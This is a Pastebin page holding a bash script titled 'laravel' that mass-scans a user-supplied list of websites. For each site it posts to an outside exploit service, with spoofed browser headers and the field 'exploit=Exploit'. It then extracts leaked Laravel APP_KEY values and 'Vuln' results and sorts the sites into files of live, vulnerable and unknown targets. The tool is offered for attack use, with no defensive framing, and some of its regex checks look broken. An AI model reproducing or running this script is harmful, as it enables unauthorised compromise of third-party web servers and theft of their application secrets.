Advertisement
jaenudinmaulana69

laravel

May 18th, 2022
1,694
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.71 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. NC='\033[0m'
  4. RED='\e[38;5;196m'
  5. GREEN='\e[38;5;82m'
  6.  
  7. cek(){
  8. local ah=$(curl -s "https://exploit.anons79.com/scan.php" \
  9.   -H "authority: exploit.anons79.com" \
  10.   -H "cache-control: max-age=0" \
  11.   -H "upgrade-insecure-requests: 1" \
  12.   -H "origin: https://exploit.anons79.com" \
  13.   -H "content-type: application/x-www-form-urlencoded" \
  14.   -H "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4277.0 Safari/537.36" \
  15.   -H "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
  16.   -H "sec-fetch-site: same-origin" \
  17.   -H "sec-fetch-mode: navigate" \
  18.   -H "sec-fetch-user: ?1" \
  19.   -H "sec-fetch-dest: document" \
  20.   -H "referer: https://exploit.anons79.com/scan.php" \
  21.   -H "accept-language: en-US,en;q=0.9" \
  22.   --data-raw "command=${SITE}&exploit=Exploit" \
  23.   --compressed)
  24.  
  25. local ih=$(echo -e "${ah}" | grep -Po "(?<=Scaning ===>\s).*?(?=\s<)")
  26. local uh=$(echo -e "${ah}" | grep -Po "(?<=APP_KEY ===>\s).*?(?=\s<)")
  27. local eh=$(echo -e "${ah}" | grep -Po "(?<=Vuln ===>\s).*?(?=\s<)")
  28.  
  29. local return=$(paste <(echo "${ih}") <(echo "${ah}") <(echo "${eh}"))
  30.  
  31. if [[ "$ah" =~ "(?<=APP_KEY\s===>\s)Failed(?=\s<)" ]]
  32. then
  33. echo -e "${RED}DIE${NC} ${SITE}"
  34. echo -e "${SITE}" >> die.txt
  35. elif [[ "$ah" =~ "(?<=Vuln\s===>\s).*?(?=\s<)" ]]
  36. then
  37. echo -e "${GREEN}MANUAL${NC} ${SITE}"
  38. echo -e "${SITE}" >> result.txt
  39. #elif [[ "$ah" =~ "(?<=Vuln\s===>\s)Failed(?=\s<)" ]]
  40. else
  41. echo -e "${RED}${return}${NC}"
  42. echo -e "${return}" >> unk.txt
  43. fi
  44. }
  45.  
  46. mc(){
  47. echo -n "List? "
  48. read list
  49. }
  50.  
  51. gas(){
  52. while IFS= read -r SITE
  53. do
  54. cek ${SITE}
  55. done < $list
  56. }
  57. mc
  58. gas
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement